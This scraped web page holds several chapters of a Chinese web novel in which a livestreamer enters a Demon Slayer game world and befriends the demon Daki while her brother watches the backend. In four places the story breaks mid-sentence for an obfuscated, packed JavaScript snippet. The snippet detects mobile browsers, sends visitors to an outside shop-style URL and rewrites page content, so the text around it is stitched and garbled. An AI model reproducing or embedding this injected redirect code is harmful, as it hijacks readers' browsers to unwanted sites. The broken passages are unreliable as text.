[警告:************************************] “这一次鬼杀队明明成功了,为什么后续日志全是乱码?”朝隼瞥见了下面仍在继续的系统日志,感到不解。 “说明世界是否重启和鬼杀队能否成功没有关系,系统轮回的判定条件是别的东西。” “嗯,我也是这么想的。”他滚动着鼠标滑轮,往下查看第777次乱码以后的新日志,“继续看吧。” 朝奈眼看着记录一条又一条地上滑,直到最后一条出现在眼前: [系统第999次重启#编号999] [世界状态:待更新] [结局:待更新] [警告:检测到未知力量介入,当前上弦鬼之执念正在净化中。] 朝隼指出了这条日志背后隐藏的关键信息,“小奈你看,这些日志的编号只给了三位数上限。” “也就是说,第九百九十九次重启之后,不论什么结局系统都不会再次重启了。” “那只猫有没有告诉你,你介入的是最后一次世界线回溯?” 朝奈:“......” 完全没提好吗! “恭喜你啊,你最爱的一命无伤通关它来了。” 朝隼不愧是名字里带个sun字的人,即便是自己妹妹被坑了,涉及到世界融合这种层面的问题,他都还有心情开玩笑。 朝奈完全没理这个无聊的人,直接上手抢过鼠标控制权,点开了网站里的另一个信息库。 [当前净化进度:] [上弦之陆:(待接触)] [上弦之伍:(接触中,进度90%)] [上弦之肆:(待接触)] [上弦之叁:(已完成)] [上弦之贰:(接触中,存在异常干扰)] [上弦之壹:(已完成)] [其余次级执念若干,上弦鬼之执念净化完成后系统将会自动处理。] [管理员备注:请在#编号999迭代完成前加速进程,否则世界线将彻底停止重启,本次迭代结局即为终局。] 朝隼看完冗杂的信息库,沉默了好一会,揉了揉自己发胀的太阳穴,转头看向妹妹。 “所以,”他缓缓开口,把方才在脑中整合完毕的信息拎了出来,“你玩的那个游戏,其实是连接这个迭代系统的中介。” “一般玩家游玩的是正常游戏,但是你的游戏端被绑定了接口。” “因此,你的游戏建立在真实存在且已经重启上百次后的世界基础上,从本质上就和其他人不一样。” “你一定要用这种长难句攻击我吗?” “你那副表情明明就是听懂了吧。”朝隼无语,像是没听到妹妹的控诉,继续用自己习惯的方式说明。 “上弦鬼的执念就是系统不断迭代的动力源,把它们全都清除,失去动力系统就会停止迭代。” “这也是达成HAPPY END的唯一方式。” “同时,我还得阻止鬼舞辻无惨得到青色彼岸花,以防世界进入BAD END后和我们当前的世界融合。”朝奈点点头,补充了哥哥没说完的话。 朝隼思考了几秒,然后猛地一拍大腿,“酷毙了。” “这比英雄联盟排位带劲多了。” 他的眼中闪烁着技术宅遇到挑战时的兴奋光芒,“你需要什么支援?游戏数据分析整合?后台日志监控?” “还是想办法帮你直接黑进系统搞点权限?” 朝奈看着已经完全进入另一种热情状态的某人,心里松了口气,同时也涌起一股暖意。 不管听起来多么离谱,至少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210344|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哥还是会无条件站在她这边。 “你先帮我查一下这个,”她指向屏幕,“净化进程里,上弦贰的异常干扰是什么?” “顺便帮我看看怎么快速找到并接触他们的执念。” 朝隼搓了搓手,重新拾起键鼠,一整个蓄势待发的模样,“交给我吧。” “我打游戏是菜了点,这方面你还是能放一万个心的。” “让我黑进管理员权限看看。” 窗外起了风,把窗帘吹起了一个角。 朝奈抱着胳膊,突然感觉房间里有点冷。 “哥。”她忽然开口。 “什么?” “你记不记得小时候,咱俩挤在那张小书桌前面,你玩电脑,我写作业。” 朝隼的手指停了一下,瞥了她一眼,“怎么突然说这个?” “没什么,”朝奈顿了顿,“就是突然觉得,时间过得很快。” “是挺快,那会你还够不着桌面,得垫两本书。” “垫的是你那个破牛津字典。” “什么破,那是传家宝。”朝隼一本正经,“现在还在我书架上层呢。” 朝奈轻轻笑了一声。 屏幕上数据还在不断涌现,朝隼知道她只是想让气氛轻松点,一直配合着她时不时说上几句俏皮话。 键盘敲击声和鼠标点击声持续了许久之后,终于,他活动了一下有点疲劳的手指,把页面切回了那个浮着血月的主网站,声音恢复了平时的吊儿郎当。 “搞定,数据库里的日志我全都拷贝下来了,网站的管理员权限层级确实很高,等下我把解析之后的文件发给你。” “哦对,我偷偷加了点东西进去,你以后在游戏里遇到麻烦可以直接联系我,我这边后台处理起来会方便很多。” 还有意外之喜? 朝奈对着这人竖起一个大拇指。 不愧是专业人士。 不过专业人士也得填饱肚子。 她伸手把朝隼桌上那杯冷掉的咖啡拿走,换了杯热可可。 “喝吧,不用谢我。”她眼神示意他。 朝隼哦了一声,接过杯子抿了一口,烫得龇牙咧嘴。 “我靠,你谋杀亲哥?” “你自己不吹关我啥事。” “你没说烫。” “喝个热可可也要我教?” 朝隼理亏,说不过她,最后抱着那杯热可可当起了哑巴。 朝奈走之前,看到这人又打开了英雄联盟客户端,开始打排位。 唉。她在心里叹了口气。 又菜又爱玩这一块。 - 朝奈重新打开自己的直播间已经是好几天之后的事情了。 开播的瞬间,观众跟蹲点似的一窝蜂挤了进来。 【我靠总算开播了】 【这几天少了电子榨菜,哪哪都不得劲】 【这次怎么隔了这么久才开播啊?】 【主播下播时候说的话你完全没听是吧!】 【她说啥时候花街啥时候开播】 【这不是鬼灭制作方前脚发公告说开花街,后脚奈奈子就开播了吗】 【太准时了,我太感动了(非褒义)】 “晚上好,各位。”朝奈和弹幕打招呼,神色如常。 “今天直播开荒花街,顺便看看怎么触发上弦之陆的隐藏剧情。” 33.第三十三章 这一次登录游戏的载入时间比以往长了许多。 画面停留在一条长长的走廊上,两侧的红灯笼在风中轻轻摇晃,光影在一旁的水池池面上流淌。 等到游戏场景完全展开时,弹幕里所有嫌弃加载太慢的声音全消失了。 眼前的道路向前无限延伸,道路旁的房屋鳞次栉比,每一栋都有自己的特色,紧紧挨在一起又显得非常和谐。 朝奈微微仰起头,看着头顶连绵一片的灯笼光河。 牡丹的花瓣有深浅的渐变,菊花蕊芯精心点了出来,梅花花萼处也非常细心地填上了一抹绿。 光线从纸糊的灯笼中透出,把那些花朵映得惟妙惟肖。 夜风拂过,大片灯笼轻轻摇动。 于是那些花在风中活了过来,光影在此刻显得如此逼真。 【卧槽,这光,这场景建模,这精细度】 【我的老天,感觉每一盏灯笼都不一样】 【燃烧的全都是经费,看得我心疼钱包了】 【制作组疯了吧,怪不得花街要这么久才开放】 朝奈也有些惊讶,那么一瞬之间,差点没分清游戏和现实。 她继续往前走,目光落在地面上。 石路没用贴图,靠近墙根的地方深厚一些,路中间的地方浅薄一些。 缝隙里也能看见几簇野花,细弱的茎承载不住白色的花瓣,风一吹就颤巍巍地抖。 朝奈看弹幕都在惊叹画面的精美,顺势蹲了下来,伸手碰了碰那朵小花。 花瓣很软,触感凉凉的,还有一点潮湿。 【我去,还有这种交互?】 【我真的震惊了】 【到底什么神仙配置,再也不骂它出新地图慢了。。】 【有句话说得好,慢工出细活啊,没毛病】 她继续朝着目的地走。 经过乐器店,店门半开,能看见里面挂满了三味线和尺八,墙上还贴着一张手写的海报,甚至能看清海报上的文字。 走过点心铺时,透明的橱窗里摆满了各色和果子,每一种都有自己的不同造型。 樱花的粉,抹茶的绿,栗子的黄,还有半透明、里面封着一整朵小小的樱花,灯光打在上面,那朵樱花就好像浮在果冻里,花瓣清晰可见。 如果这仅仅只是一款全息游戏的话,这样的建模确实领先业界太多了。 不过,朝奈作为知情人士,对眼前画面的感叹远远不及直播间里的观众。 【不知道的还以为在看照片呢】 【这不比现实里的点心店精致?】 【制作组是细节狂魔吧,卷成这样,友商要怎么活哦】 【不讲不讲】 她走到了地图标记的那间屋子前,正准备拉开门进去,忽然听见里面传来说话声。 声音模模糊糊的,但大致内容还是能听清,应是经过了系统刻意的处理,为了让玩家能得到部分信息。 “...那个从京都来的,听说舞跳得极好。” “好有什么用,花魁又不是光看才艺,还得看长相和谈吐,会不会来事。” “这倒是,不过今年新来的几个里我挺看好阿紫,那孩子的眼睛会说话。” “老板娘倒是更看好阿泷,我听见她夸过好几次。” “阿泷啊...是有灵气,但是太傲了,客人不喜欢太傲的。” 然后是一阵窸窸窣窣的声音,像有人在整理衣服。 “行了,别瞎操心了,等下有个新人要来,老板娘说要亲自看看。” “这种时候来新人?” “谁知道呢,说是外乡来的。” 【检测到关键信息,外乡来的(笑】 【我懂我懂,致敬传奇老梗:《卑鄙的外乡人》】 【停之停之,我们鬼灭不是克系游戏】 朝奈挑了挑眉,没忍住顺着弹幕的吐槽发散了一下自己的思绪。 她正好前段时间刚打完《血源诅咒》,这梗就出自那里的一个NPC。 玩家在猎杀之夜来到他的窗前时,他会说出这句话。本来只是一个游戏里的善意调侃,后面在社区广为流传。 看来这个游戏世界生成的时候,第三方力量没少参与啊。 她拉开游戏里的门,走了进去。 走廊尽头是一间和室,暖黄的灯光从里面透了出来,她走过去,在门口站定,轻轻敲了几下门框。 “打扰了。” 里面叽叽喳喳的说话声停了下来,几双眼睛同时看向她。 坐在最中间的是一位四十来岁的妇人,穿着深色的和服,发髻梳得一丝不苟,耳垂上坠着名贵的饰品,看起来很有精气神。 她看人的目光有些直白,从上到下,好似在打量一件商品。 在她身边站着两个年轻的女子,一个穿着淡粉色和服,眉眼温柔,另一个身着桔色和服,下巴微微抬起,有几分傲气。 “就是你?”妇人收回打量的目光,声音不疾不徐地开口,“进来吧。” 朝奈走了进去,在门槛前脱了木屐,踩上榻榻米,按照记忆中的日式礼仪跪坐下来,双手交叠放在膝前。 “叫什么名字?” “水无月悠。” 她现场编的,实在不想用这种身份被人喊出真名。 “多大了?” “十六。” 也是编的。反正NPC看不出来她多大。 一副老板娘做派的妇人点点头,目光又在她脸上停留了一会。 “长得倒是不错。”这话说得直接,不过语气里没有恶意,“底子干净,眉眼也周正,就是...” 她顿了顿,“气色看起来不太健康。” 【红红火火恍恍惚惚哈哈哈哈】 【主播老熬夜人了,气色能健康吗!】 【我看奈奈子白得和无惨大人有的一拼啊】 【老大我们真的要干这一行吗,感觉要完蛋了喵】 “算了,气色能养回来,不是什么大事。”老板娘摆摆手,“按规矩,我得问问你会些什么,琴?筝?三味线?” 朝奈摇头。 “书法?画画?这俩可有会的?” 继续摇头。 “吟诗呢,这总会一点吧?” 朝奈心想唐诗宋词她会,但很明显这里存在文化差异,所以她还是摇头。 老板娘的表情变得微妙起来,旁边那个有些傲气的女子轻轻笑了一下,很快收住。 【我服了哈哈哈哈】 【奈奈子不语,只是一味摇头】 【不要欺负我们技术主播了,术业有专攻啊喂】 【任务不会就这么失败吧?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老板娘的眼睛越睁越大。 穿着淡粉色和服的女子惊得嘴巴微张。 一旁颇有傲气的那位也看呆了。 朝奈完全没管别人,最后一个动作高高跃起,做出一个双手持剑的姿势,凌空劈下。 然而手中的剑并非剑,而是一根重重的木杖。 “砰——” 木杖砸在了纸门上,直接捅出了一个大窟窿。 外边走廊灌了点冷风进来,把她的头发吹得微微浮起,颇有一副大侠风范。 剑舞得挺好,ending pose摆得也蛮帅,就是可惜了,她是来当花魁的。 朝奈保持着劈砍的姿势,飞速思考着应该怎么圆场。 【师傅,你是做什么工作的?】 【给我干哪来了,这还是花街吗】 【退一万步来说,其实主播跳得挺帅的(误)】 【我不行了,你们快看老板娘的表情】 34.第三十四章 老板娘的脸色确实很精彩,从震惊到欣赏,反应过来自己是在招聘未来花魁,表情变得惊愕,最后看见门上那个大窟窿又变得一言难尽起来。 “呃,那个,”朝奈缓缓收起手中的木杖,用非常委婉的语气开口和她商量,“这门...要不我赔?” 小粉用手捂着嘴,肩膀一抖一抖的,小桔把头扭向一边,从侧脸也能看出来她在憋笑。 老板娘还是不敢置信般盯着那个窟窿又看了好几秒,然后深吸一口气,再缓缓吐出来。 “行了行了,”她摆摆手,声音里有种认命的平静,“收下了。” 朝奈完全没料到会是这种发展,微微一愣:“啊?” 老板娘走回自己原本坐着的位置,揉着太阳穴,“你这样的,我开游女屋这么多年都没见过。” “舞跳得...算是有特色,还会舞刀弄枪的。” “只是根木杖。”她的冷幽默在这种时候彰显了一下存在感。 “我知道是根木杖,”老板娘扶额,“但你能把这个跳得虎虎生风,也是一种本事,万一以后有客人闹事,你还能上去顶一顶。” 【wtf我要笑昏过去了】 【老板娘:只是看中了武力值】 【主播要不换个思路吧,别当花魁了,我们来当保安】 【游郭最强保安堂堂来袭!】 【这剧情发展笑得我流口水】 “阿紫,阿泷,你们两个带她去换身衣服,顺便教一下基本的规矩,”老板娘站起来,走到门口。 她又侧过头,看了朝奈一眼,“对了,刚刚那个门,从你第一个月的例钱里扣。” 朝奈对着直播间观众能看到的角度比了个口型。 “亏麻了。” 弹幕满屏都是“哈哈哈哈”的嘲笑。 - 朝奈跟着阿紫和阿泷穿过走廊,上楼,来到二楼角落的一间屋子。 “以后你就住这儿了,”阿紫推开门,语气温和,“被褥在柜子里,洗漱用具待会有人送过来。” 阿泷就没那么客气了,她倚在门框上,不加掩饰地上下打量了她一番,似笑非笑,“你那个舞,真是来当花魁的?” “怎么?”朝奈面不改色。 来都来了,游戏内置任务也是顺手的事。 阿泷嗤笑一声,转身走了。 阿紫带着歉意朝她点点头,“阿泷人不坏,你别往心里去,有什么事情可以找我,我就住在这一层走廊的另一边尽头。” 朝奈点点头,表示自己明白。 等两人离开,她关上门,环顾四周。 房间不大,该有的都有,这间荻本屋的待遇还算不错。 她坐到窗边,借着整理桌子的动作,低声开口,“哥,在吗?” 耳畔传来一阵系统乱码的电子音,然后被朝隼懒洋洋的回应替代,“在呢,刚打完一把排位,被队友气得血压飙升。” “输了赢了?” “这还用问?” 朝奈轻轻笑了一声,她就是故意问出来的。 又是一阵奇怪的乱码音效,几秒后,朝隼的声音再次传来:“我帮你在后台查看了一下,上弦之伍的净化进度已经差不多完成了。” “上弦之肆的日志代码很奇怪,我解析之后黑进去居然能篡改信息,已经全部解决了,剩下的都得你自己来,尤其是那个上弦贰,很不对劲。” “之前你让我查的东西结果出来了,他的执念存在异常,明明检测不到任何执念,但是日志里显示他的执念未清除,我需要再多花点时间研究。” “对了,花街这块区域藏着上弦之陆的隐藏剧情,你那边现在情况怎么样?” “刚混进来,还没见到目标。” “行,也不急这一时半会,哦对,刚才你跳的那个剑舞...” “闭嘴。” “我还没说完呢,挺帅的,真的。” 朝奈懒得理他,切断通讯,开始等待花街区域的剧情触发。 夜渐渐深了。 这片区域的喧嚣没有随着夜色变深而减弱,倒是愈发热闹起来,隔着窗户也能听到。 她靠在窗边,目光落在窗外街道上流动的灯笼光河上。 一股属于鬼的气息,从远处迅速接近。 [系统提示:花街篇主线剧情已触发。] 朝奈站起身,面向门口,那道鬼影停在了门前。 下一秒,门被拉开,站在门外的是一个女人。 华丽的发髻上簪着金步摇,随着她向前走的步伐轻轻晃动,她穿着浓烟的牡丹色和服,腰间系着宽幅的织带,上面还绣着复杂且精美的花纹。 堕姬的眼里带着居高临下的审视,眼尾微微上挑,注视着面前的人。 她看了一会,然后扬起下巴,径直走了进来。 【卧槽,堕姬!!!?】 【好漂亮......】 【美得我失语。。】 【妈妈级别的】 【这里也有瓦学弟?】 【asdfghj!@#不要到处认妈妈】 “听说荻本屋来了个新人,”她的声音慵懒,夹杂着几分傲慢,“据说长得不错,我便来看看到底如何。” 她站定,目光从朝奈的眉眼一路往下,最后又回到脸上,注意到对方完全没有害怕的意思,她的表情变了。 漂亮的眼睛里闪过一丝意外,“你也是鬼?” 朝奈没有否认,坦然地接受她的审视。 堕姬的目光瞬间变得锐利起来,她绕着朝奈走了一圈,语气里明显染上了不高兴,“你不知道这里是我的地盘吗,为什么要来这里?” 朝奈对上她的目光,露出一个颇为真诚的笑,“是因为一直听闻堕姬大人的美貌,想来亲自见一见。” 堕姬愣了一下。 “我听说过很多关于上弦之陆的传闻,”她的声音里带着点仰慕,“他们都说堕姬是十二鬼月里最美的鬼,是花魁之首。” 她继续说着,语气更加真诚,“我本来没那么信的,毕竟只是些传闻,今日见到以后才发现...” 她故意停顿了几秒,目光在堕姬脸上流连,眼里是毫不掩饰的欣赏。 “堕姬大人比传闻中还要美得多。” 堕姬的表情肉眼可见地缓和下来,“你倒是挺会说话。” 她语气里的傲慢还在,不过多了几分受用的愉悦。 朝奈笑了笑,“我只是在说实话罢了,而且,我一直很好奇堕姬大人平时的保养方法。” 堕姬闻声挑眉:“保养?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227149|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“对啊,”她一脸认真,“您的皮肤状态太好了,不论是光泽还是细腻度,都绝对不是普通鬼能有的,是用了什么特殊的方法吗?” 交谈之间,朝奈领着对方在房间内坐了下来。 “算你有眼光。”堕姬抬起手,漫不经心地看着自己的指尖,“皮肤的秘诀嘛...当然是吃好看的人。” “我从来不吃丑八怪。” 挑食是吧? 朝奈心里吐槽着,面露恍然大悟的表情:“怪不得普通的鬼皮肤质量都很粗糙,原来是吃的质量不行。” 堕姬弯起殷红色的唇,“你很有意思。” “我喜欢你。” “能得到堕姬大人的喜欢,是我的荣幸。” 堕姬眼里的兴趣越来越浓。 “你叫什么名字?” “朝奈。”这种时候就没必要报假名了。 “什么时候变成鬼的?” “没多久。” 她点点头,“你身上血的味道...” “居然是童磨大人...还有那位大人亲自赐的血!?” “机缘巧合罢了,”朝奈摇摇头,“不像堕姬大人您,能被无惨大人如此看重。” 对面的人受到了夸赞,嘴角又翘了起来。 她也太好哄了,朝奈心想着,一边思考怎么引出后面的话题。 “那当然,”堕姬又扬起下巴,神色变得非常骄傲,“我可是凭借自己的本事成为上弦的,那些废物活了几百年都够不着边。” 朝奈很认真的听着,点点头,“我知道,所以我才一直很仰慕堕姬大人。” 她继续用那副调子哄着对方,“大多数鬼不是奇形怪状,就是浑身散发着让人不适的气息,您不一样,您不仅实力强大,还格外美丽。” “你真的这么觉得?” “当然,我刚才第一眼看见您的时候,还以为是哪里的仙子下凡了。” 很显然对方已经被她夸得飘飘然,脸上的傲慢彻底消失不见。 “你这个人,说话好听,”堕姬满意地看着她,“长得也好看,性格也好。” “今夜算是你我有缘,你有什么愿望吗,我可以满足你。” 朝奈等的就是这句话。 【堕姬已经被主播拿捏了】 【唉,见人说人话,见鬼说鬼话这一块】 【奈奈子忽悠人的技术我是认可的】 她微微垂眸,脸上露出一丝犹豫。 堕姬看出来了,挑眉,“怎么?有什么不能说的?” “其实,”朝奈压低声音,“我确有一事想拜托堕姬大人。” “哦?说来听听。”她来了兴趣。 很好。 朝奈凑近了堕姬,做出一副要说悄悄话的样子。 对方也很配合,完全没有一点防备。 “我听说,”她的声音很轻,“堕姬大人有一个哥哥。” 提到哥哥,堕姬的表情露出一点意外。 朝奈看着她的反应,心里有了数,继续说了下去。 “我听说他很强,非常强。” “每次堕姬大人遇到危险,他都会出现,把那些不长眼的家伙全都杀掉。” “我很羡慕您有这样的哥哥。” 堕姬神色一愣。 35.第三十五章 “我其实很羡慕您,不管发生什么事情,都有人站在身后。” “如果我也能有这样的哥哥,就好了。” “所以,我想见见他。” 堕姬表情有些不自在,还有一点意外。 “他才没你说得那么好。”她别过脸。 朝奈看着她别扭的神情,叹了口气。 果然,每对兄妹之间都有本难念的经。 “不管堕姬大人怎么想,他都在您身边,一百多年了,一直没变过。” 这一次堕姬没再出声反驳。 房间安静了几秒,然后她忽然站起身。 “你等一下,”她的声音有点闷闷的,“我喊他出来。” 安静之余,朝奈也没闲着。她在和朝隼确认信息。 “小奈,你这段话我全录下来了。” “…删掉。” “不可能。”他笑着说,“等你以后更有名了,我就靠这个吃饭。” “你现在就可以靠这个吃饭,卖给营销号能赚不少。” “那不行,兄妹情谊值千金。” “呵呵。”朝奈懒得理他,“说正事。” “监控到数据波动了。” “目前的净化进度还是零,执念不仅仅只在堕姬身上,她哥哥身上也有。” “你得想办法触发妓夫太郎的执念净化条件。” “需要我做什么?” “先见到他,接触到游戏内数据本体之后,等解析出来具体内容,我再告诉你要怎么办。” 通讯在下一秒切断。 眼前的堕姬身后缓缓出现了一个影子,影子在房间内的光线下逐渐变大,最后变成了一个人。 那人身形骨瘦如柴,皮肤上布满了黑斑,佝偻着背,站在堕姬身后半步的位置,习惯性低着头。 “小梅说,”他开口,声音低哑,有几分刻意的冷淡,“你找我?” 朝奈迎上他的警惕的目光,“嗯,是我。” “我想见你很久了。” 妓夫太郎眼里掠过些许意外。 “见我?”他有点奇怪,“为什么?” “见人也需要理由吗?” “想见就见了。” 他更加搞不清楚她想要表达什么了,看在小梅的面子上没出声,只是疑惑地看着她。 【废话文学是吧】 【听君一席话,如听一席话】 【刚从隔壁直播间回来,还是奈奈子这里有意思。】 【巧了不是,我也刚看完别的主播被上六兄妹剧情杀, 【被煮啵养刁了口味,现在点开别人直播间看几秒就想叉掉】 【唉,鬼阵营什么时候能大范围开放啊,我也好想玩啊!!好想跟上六兄妹贴贴啊!】 【鬼灭之刃制作组:没有大范围开放的义务!】 朝奈对不远处的堕姬露出一个感谢的笑,然后视线重新回到他身上。 “你是一个好哥哥,把妹妹照顾得很好。” 妓夫太郎垂在身侧的手指微微蜷缩了一下,脸上依然没有什么表情。 “...她是我妹妹,我照顾她是应该的。” “我知道,”朝奈点点头,“但不是所有的哥哥都能做到那些事情。” “堕姬大人有你这样的哥哥,真好。” 他的眼神微微一动,声音淡淡的说,“小梅...很久没有笑得这么开心了。” “她很少会对刚认识的人这么上心。” 堕姬听到这话瞪了他一眼,对哥哥这种当面揭老底的行为表示抗议。 朝奈弯着眼睛,露出非常高兴的表情,“这是我的荣幸。” 【难道她真是个傲娇?】 【刀子嘴豆腐心来的,她明明就很喜欢哥哥】 【话说谁写的台词?】 【文案组出来挨打】 【猜你想看:少爷已经很久没有这么笑过了】 【少爷文学还在追我——】 [系统提示:花街区域主线序章已开启,恭喜玩家达成成就:兄妹之绊。] 朝隼的声音在系统提示音落下后响起。 “OK搞定,数据分析结果出来了。” “上弦之陆的执念核心是羁绊。” 朝奈若有所思:“得从两边下手。” “有一个捷径。” “我知道。” 只能说不愧是兄妹,对方在想什么完全摸得一清二楚。 “和堕姬搞好关系,堕姬开心了,妓夫太郎就会开心。”“如果我成为堕姬信任的人,妓夫太郎那边自然就好说了。” 两人异口同声说道。 “行,”朝隼笑着开口,“不愧是我妹。” 朝奈开始琢磨下一步的计划。 攻略堕姬是吧? 这事她熟。 接下来的几天,她用上了游戏更新之后新增的功能:不含主线剧情的时间可以快进,优化玩家的时间分配。 她在荻本屋的生活变得非常规律。 白天应付屋里的日常,晚上就去找堕姬。 最开始去的时候,她带了一小盒点心。 是在花街一家老店买的和果子,樱花形状,外皮半透明,里面封着一整朵盐渍的八重樱。 堕姬看着那盒点心,表情有些微妙:“你带这个来干什么?” “上次听堕姬大人说喜欢甜的,”朝奈笑得乖巧,“路过那家店,顺手买的。” 堕姬盯着那盒点心看了几秒,轻哼一声:“顺手?那家店每天限量五十盒,未时之前就卖完了,你这是排了多久的队?” 朝奈眨了眨眼:“堕姬大人连这个都知道?” “废话,我在这里待了多少年。”堕姬嘴上这么说,手却很诚实地接过了盒子。 她打开盖子,看着里面晶莹剔透的和果子,嘴角微微翘起。 “...算了,既然你诚心诚意地买了,我就勉为其难地收下吧。” 朝奈忍着笑:“堕姬大人真是宽容。” 第二次去,她带了丝绸布料。 上面用银线绣着藤纹,在灯光下会泛出柔和的光泽。 堕姬接过布料,在手里摸了摸,眼睛亮了:“这料子,是京都西阵织?” “堕姬大人好眼力。”朝奈一脸佩服,“我托人从京都带的,说是今年新出的花样。我觉得这个紫色特别衬堕姬大人,就买了。” 堕姬把布料抖开,对着灯光看那银线的光泽,脸上的满意几乎要溢出来。 “确实不错。”她顿了顿,看向朝奈,“多少钱?我给你。” “不用不用。”朝奈摆手,“就当是感谢堕姬大人上次满足我的愿望。” 堕姬挑眉看她,忽然笑了:“你这个人真是...” 她没说完,但表情明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236549|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比之前柔和了许多。 第三次去,朝奈带了一小瓶发油。 是她在花街一家老铺子里找到的,据说用了十二种花卉提炼,香味淡雅持久。 堕姬接过瓶子,拔开塞子闻了闻,眼睛瞬间亮了。 “这个香味是栀子?还有桂花?” “堕姬大人鼻子真灵。”朝奈尽职尽责当起了夸夸bot,“老板说这是他家祖传的配方,一年只做十瓶,我蹲了三天才抢到一瓶。” 堕姬看着她,表情有些复杂。 “你对我这么好,到底图什么?” 朝奈眨眨眼,一脸无辜:“图堕姬大人开心呀。” “堕姬大人开心,我就开心。” 堕姬盯着她看了好几秒,把发油收了起来。 “......下次别买这么贵的了。” 她别过脸去,耳根有点红。 朝奈看着她的反应,心里比了个耶。 攻略进度比她想得还顺利。 就这样,几周下来,朝奈和堕姬的关系突飞猛进。 从一开始的堕姬大人,到后来的堕姬,再到某一天。 “小梅。” 堕姬正在对镜梳头,闻言手一顿,从镜子里瞪她:“你叫我什么?” “小梅呀。”朝奈坐在她身后,一脸无辜,“上次你自己说的,允许我这么叫。” 堕姬张了张嘴想反驳,但发现自己确实说过这话。 那是上周的事,朝奈带了一盒金平糖来,她吃高兴了,随口说了一句“你以后可以叫我小梅”。 谁知道这人记性这么好。 “......随便你。”她闷闷地转回去继续梳头。 朝奈笑眯眯地凑过去,从她手里拿过梳子:“我来帮你梳。” 堕姬本想拒绝,但朝奈已经上手了,动作轻柔,梳子从发顶一路滑到发尾,顺滑得没有一丝阻滞。 “......你手法还挺熟练。”堕姬的声音软了几分。 “以前经常帮人梳头。”朝奈随口胡诌。 其实是小时候帮朝隼梳过,那家伙头发打结了嗷嗷叫,跟杀猪一样。 梳着梳着,朝奈忽然凑到她耳边,压低声音。 “小梅,我跟你说个秘密。” 堕姬耳朵一痒,下意识躲了一下,但又忍不住好奇:“什么秘密?” 朝奈的声音更低了。 “我其实...很喜欢你哥哥。” 堕姬整个人愣住。 她猛地转过头,差点撞上朝奈的鼻子。 “你说什么?!” 【哎我真不行了,主播忽悠起人来是真的脸不红心不跳】 【恶魔低语:其实我喜欢的是你哥哥】 【怎么演的是这码戏,还以为橘势大好呢(失望】 【什么,原来你期待的是那个吗!】 朝奈眼神真诚得不得了。 刷好感度讲究一个话要投机,对于这种程度的兄妹羁绊,在妹妹这里夸哥哥,在哥哥那夸妹妹,一次性能up双倍好感。 “大概就是上次见了他之后,就一直想着他。觉得他很厉害,很可靠,非常有安全感。” “小梅,你说我是不是很奇怪?” 堕姬盯着她看了好几秒,表情从震惊变成茫然,又从茫然变成一种复杂的难以言喻的神色。 然后,她的嘴角慢慢上扬。 36.第三十六章 “你喜欢他什么?” 朝奈认真地想了想,“他保护你的时候让人特别有安全感,虽然话不多,但是你每次遇到危险,他都会第一时间站出来,我觉得这样人很可靠。” 堕姬听着,脸上的表情越来越微妙。 她眯着眼睛像是在思考什么,最后一拍大腿:“行,我帮你。” 她没料到对方会是这样的脑回路,本来只是想在小梅这里夸哥哥刷一点好感。 朝奈大概知道小梅要说什么了,但还是明知故问:“帮我什么?” “牵红线啊!”堕姬的眼睛亮晶晶的,“我哥哥那个人,闷得很,我要是多在他那说说你的好话,他对你的印象肯定好上很多。” “唔,这不太好吧?”朝奈试图挽回一下。 没想到堕姬反应极大,“有什么不好的?” 她直接站了起来,拉住朝奈的手,很认真的说,“你对我这么好,我帮帮你怎么了?” “哥哥这个人虽然缺点也一大堆,但是没办法,朝奈喜欢的话我当然要帮忙。” “这件事就包在我身上,你放心吧。” 怎么越说越来劲了。 朝奈心说不对啊不对,我只是想刷点好感看能不能触发隐藏剧情,不是真的要让你当月老牵红线啊。 然而。 面对堕姬明显想到好办法的神色,她最终也没办法出声拒绝。 她也算半个颜狗吧。 小梅真的很可爱,完全不忍心看见她露出苦恼的表情。 “朝奈,”堕姬看她半天没反应,还以为她是不相信,颇为认真地复述了一遍,“放一万个心吧,绝对能成。” 接下来的几天,朝奈算是见识到了什么叫做超绝行动力。 某个时刻,朝奈正在荻本屋的房间里收拾东西,忽然听见敲门声。 